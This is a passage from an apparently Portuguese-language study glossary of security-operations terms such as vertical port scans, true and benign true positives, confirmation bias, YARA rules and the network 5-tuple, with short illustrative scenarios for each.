Uma varredura vertical testa várias portas em um único host alvo para identificar serviços que possam estar escutando ou acessíveis.
Uma origem tenta acessar muitas portas de destino no mesmo servidor em poucos segundos.
Verdadeiro positivo
Um verdadeiro positivo é uma detecção correta de atividade maliciosa, sustentada pelo comportamento observado e pelo contexto da investigação.
O programa de download detectado é vinculado à execução não aprovada de um documento e à persistência recém-estabelecida.
Verdadeiro positivo benigno
Um verdadeiro positivo benigno detecta corretamente o comportamento pretendido quando esse comportamento é autorizado, como um teste de segurança aprovado.
Um alerta de varredura está correto, e a programação de testes de segurança confirma que o scanner observado era aprovado.
Viés de confirmação
O viés de confirmação favorece informações que sustentam uma hipótese existente enquanto negligencia evidências que poderiam enfraquecê-la ou substituí-la.
O analista verifica um chamado de manutenção mesmo depois de vários eventos sugerirem inicialmente uma intrusão.

Y

YARA
YARA é uma linguagem de regras que encontra correspondências em arquivos ou memória usando strings, padrões de bytes e condições lógicas especificados por um analista.
Uma regra exige uma assinatura de executável no início e duas strings incorporadas características.

#

5-tupla
Uma 5-tupla agrupa os IPs de origem e destino, as portas de origem e destino e o protocolo de transporte usado pelo tráfego de rede.
O analista troca os endereços e as portas para encontrar o registro no sentido inverso de uma troca TCP.

Sobre esta aula

Por StudeliRelatar um erro

Crie seus próprios Materiais de Estudo

Transforme suas anotações, slides e documentos em Guias de Estudo, Questões de Prática, Flashcards e mais 6 ferramentas.

Começar